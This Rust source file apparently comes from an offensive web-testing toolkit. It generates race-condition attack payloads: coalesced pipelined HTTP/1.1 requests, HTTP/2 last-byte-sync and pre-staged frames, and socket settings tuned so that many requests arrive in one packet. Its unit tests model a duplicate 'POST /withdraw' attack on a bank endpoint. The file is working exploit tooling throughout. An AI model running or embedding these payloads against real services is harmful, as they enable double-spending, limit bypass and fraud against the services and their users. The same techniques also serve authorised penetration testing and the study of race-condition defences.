wafrift_encoding/encoding/
race.rs1#[must_use]
51pub fn pipelined_h1_coalesce(
52 n: usize,
53 method: &str,
54 path: &str,
55 host: &str,
56 extra_headers: &[(&str, &str)],
57 body: &[u8],
58) -> Vec<u8> {
59 let mut req = format!("{method} {path} HTTP/1.1\r\nHost: {host}\r\n");
60 for (k, v) in extra_headers {
61 req.push_str(&format!("{k}: {v}\r\n"));
62 }
63 if !body.is_empty() {
64 req.push_str(&format!("Content-Length: {}\r\n", body.len()));
65 } else {
66 req.push_str("Content-Length: 0\r\n");
67 }
68 req.push_str("Connection: keep-alive\r\n\r\n");
69
70 let mut out = Vec::with_capacity((req.len() + body.len()) * n);
71 for _ in 0..n {
72 out.extend_from_slice(req.as_bytes());
73 out.extend_from_slice(body);
74 }
75 out
76}
77
78#[must_use]
99pub fn h2_last_byte_sync_frames(stream_ids: &[u32], final_bytes: &[u8]) -> Option<Vec<u8>> {
100 if stream_ids.len() != final_bytes.len() {
101 return None;
102 }
103 for &id in stream_ids {
104 if id == 0 || id % 2 == 0 {
105 return None;
108 }
109 }
110
111 let mut out = Vec::with_capacity(stream_ids.len() * 10);
118 for (id, byte) in stream_ids.iter().zip(final_bytes.iter()) {
119 out.extend_from_slice(&[0x00, 0x00, 0x01]);
121 out.push(0x00);
123 out.push(0x01);
125 out.extend_from_slice(&(id & 0x7FFF_FFFF).to_be_bytes());
127 out.push(*byte);
129 }
130 Some(out)
131}
132
133#[must_use]
147pub fn h2_prestaged_frames(
148 stream_id: u32,
149 hpack_encoded_headers: &[u8],
150 body_without_last_byte: &[u8],
151) -> Option<Vec<u8>> {
152 if stream_id == 0 || stream_id.is_multiple_of(2) {
153 return None;
154 }
155 let mut out = Vec::new();
156
157 let hlen = hpack_encoded_headers.len();
160 if hlen > 0xFF_FFFF {
161 return None;
162 }
163 out.extend_from_slice(&[(hlen >> 16) as u8, (hlen >> 8) as u8, hlen as u8]);
164 out.push(0x01); out.push(0x04); out.extend_from_slice(&(stream_id & 0x7FFF_FFFF).to_be_bytes());
167 out.extend_from_slice(hpack_encoded_headers);
168
169 if !body_without_last_byte.is_empty() {
172 let blen = body_without_last_byte.len();
173 if blen > 0xFF_FFFF {
174 return None;
175 }
176 out.extend_from_slice(&[(blen >> 16) as u8, (blen >> 8) as u8, blen as u8]);
177 out.push(0x00); out.push(0x00); out.extend_from_slice(&(stream_id & 0x7FFF_FFFF).to_be_bytes());
180 out.extend_from_slice(body_without_last_byte);
181 }
182
183 Some(out)
184}
185
186pub const RECOMMENDED_SOCKET_SETTINGS: &[&str] = &[
190 "TCP_NODELAY: OFF — allow Nagle to batch the writes into one segment",
191 "SO_SNDBUF: ≥ 65536 — large enough to hold every byte before flush",
192 "MSS: default (1460 over Ethernet) — coalesces ≥10 small requests",
193 "TCP_QUICKACK: OFF — defer ACKs",
194 "TLS_RECORD_SIZE_LIMIT: 16384 — fits ≥30 typical requests in one record",
195];
196
197#[cfg(test)]
198mod tests {
199 use super::*;
200
201 #[test]
202 fn pipelined_h1_concatenates_n_copies() {
203 let payload = pipelined_h1_coalesce(
204 3,
205 "POST",
206 "/withdraw",
207 "bank.example",
208 &[("Authorization", "Bearer abc")],
209 b"amount=100",
210 );
211 let s = String::from_utf8_lossy(&payload);
212 assert_eq!(s.matches("POST /withdraw HTTP/1.1").count(), 3);
213 assert_eq!(s.matches("amount=100").count(), 3);
214 }
215
216 #[test]
217 fn pipelined_h1_sets_content_length() {
218 let payload = pipelined_h1_coalesce(1, "POST", "/x", "h", &[], b"hello");
219 let s = String::from_utf8_lossy(&payload);
220 assert!(s.contains("Content-Length: 5"));
221 }
222
223 #[test]
224 fn pipelined_h1_empty_body_zero_length() {
225 let payload = pipelined_h1_coalesce(1, "GET", "/x", "h", &[], b"");
226 let s = String::from_utf8_lossy(&payload);
227 assert!(s.contains("Content-Length: 0"));
228 }
229
230 #[test]
231 fn pipelined_h1_keep_alive_set() {
232 let payload = pipelined_h1_coalesce(1, "GET", "/x", "h", &[], b"");
233 let s = String::from_utf8_lossy(&payload);
234 assert!(s.contains("Connection: keep-alive"));
235 }
236
237 #[test]
238 fn pipelined_h1_zero_copies_empty_output() {
239 let payload = pipelined_h1_coalesce(0, "GET", "/x", "h", &[], b"");
240 assert!(payload.is_empty());
241 }
242
243 #[test]
244 fn pipelined_h1_includes_extra_headers() {
245 let payload = pipelined_h1_coalesce(
246 1,
247 "GET",
248 "/x",
249 "h",
250 &[("X-Custom", "yes"), ("X-Trace", "abc")],
251 b"",
252 );
253 let s = String::from_utf8_lossy(&payload);
254 assert!(s.contains("X-Custom: yes"));
255 assert!(s.contains("X-Trace: abc"));
256 }
257
258 #[test]
259 fn h2_last_byte_sync_rejects_mismatched_lengths() {
260 let r = h2_last_byte_sync_frames(&[1, 3], b"a");
261 assert!(r.is_none());
262 }
263
264 #[test]
265 fn h2_last_byte_sync_rejects_zero_stream() {
266 let r = h2_last_byte_sync_frames(&[0], b"a");
267 assert!(r.is_none());
268 }
269
270 #[test]
271 fn h2_last_byte_sync_rejects_even_stream() {
272 let r = h2_last_byte_sync_frames(&[2], b"a");
273 assert!(r.is_none());
274 }
275
276 #[test]
277 fn h2_last_byte_sync_basic_frame_shape() {
278 let bytes = h2_last_byte_sync_frames(&[1], b"X").expect("ok");
279 assert_eq!(bytes.len(), 10);
281 assert_eq!(&bytes[0..3], &[0x00, 0x00, 0x01]);
283 assert_eq!(bytes[3], 0x00);
285 assert_eq!(bytes[4], 0x01);
287 assert_eq!(&bytes[5..9], &[0x00, 0x00, 0x00, 0x01]);
289 assert_eq!(bytes[9], b'X');
291 }
292
293 #[test]
294 fn h2_last_byte_sync_multiple_streams() {
295 let bytes = h2_last_byte_sync_frames(&[1, 3, 5, 7, 9], b"ABCDE").expect("ok");
296 assert_eq!(bytes.len(), 50);
298 for (i, expected_id) in [1u32, 3, 5, 7, 9].iter().enumerate() {
300 let offset = i * 10 + 5;
301 let id = u32::from_be_bytes([
302 bytes[offset],
303 bytes[offset + 1],
304 bytes[offset + 2],
305 bytes[offset + 3],
306 ]);
307 assert_eq!(id, *expected_id);
308 }
309 }
310
311 #[test]
312 fn h2_last_byte_sync_clears_reserved_bit() {
313 let bytes = h2_last_byte_sync_frames(&[0x80_00_00_01], b"x").expect("ok");
316 let id = u32::from_be_bytes([bytes[5], bytes[6], bytes[7], bytes[8]]);
317 assert_eq!(id & 0x8000_0000, 0, "high bit must be cleared");
318 assert_eq!(id, 1, "low bits preserved");
319 }
320
321 #[test]
322 fn h2_prestaged_rejects_zero_stream() {
323 let r = h2_prestaged_frames(0, &[0x01], &[0x02]);
324 assert!(r.is_none());
325 }
326
327 #[test]
328 fn h2_prestaged_emits_headers_then_data() {
329 let hpack = vec![0x82]; let body_short = b"hello"; let bytes = h2_prestaged_frames(1, &hpack, body_short).expect("ok");
332 assert_eq!(bytes.len(), 24);
336 assert_eq!(bytes[3], 0x01);
338 assert_eq!(bytes[4], 0x04);
340 assert_eq!(bytes[13], 0x00);
342 assert_eq!(bytes[14], 0x00);
344 }
345
346 #[test]
347 fn h2_prestaged_empty_body_emits_only_headers() {
348 let hpack = vec![0x82];
349 let bytes = h2_prestaged_frames(1, &hpack, b"").expect("ok");
350 assert_eq!(bytes.len(), 10);
352 }
353
354 #[test]
355 fn h2_prestaged_rejects_oversized_headers() {
356 let huge = vec![0u8; 16_777_216];
358 let r = h2_prestaged_frames(1, &huge, &[]);
359 assert!(r.is_none());
360 }
361
362 #[test]
363 fn socket_settings_documented() {
364 assert!(!RECOMMENDED_SOCKET_SETTINGS.is_empty());
365 assert!(
366 RECOMMENDED_SOCKET_SETTINGS
367 .iter()
368 .any(|s| s.contains("TCP_NODELAY"))
369 );
370 assert!(
371 RECOMMENDED_SOCKET_SETTINGS
372 .iter()
373 .any(|s| s.contains("Nagle"))
374 );
375 }
376
377 #[test]
378 fn h2_last_byte_sync_deterministic() {
379 let a = h2_last_byte_sync_frames(&[1, 3], b"ab").expect("ok");
380 let b = h2_last_byte_sync_frames(&[1, 3], b"ab").expect("ok");
381 assert_eq!(a, b);
382 }
383
384 #[test]
385 fn pipelined_h1_deterministic() {
386 let a = pipelined_h1_coalesce(5, "GET", "/x", "h", &[], b"y");
387 let b = pipelined_h1_coalesce(5, "GET", "/x", "h", &[], b"y");
388 assert_eq!(a, b);
389 }
390
391 #[test]
392 fn adversarial_large_n_no_panic() {
393 let _ = pipelined_h1_coalesce(10_000, "GET", "/", "h", &[], b"");
394 }
395
396 #[test]
397 fn adversarial_many_streams_no_panic() {
398 let ids: Vec<u32> = (1..=10_001).step_by(2).take(5_000).collect();
399 let bytes_payload: Vec<u8> = ids.iter().map(|_| b'X').collect();
400 let r = h2_last_byte_sync_frames(&ids, &bytes_payload).expect("ok");
401 assert_eq!(r.len(), 5_000 * 10);
402 }
403}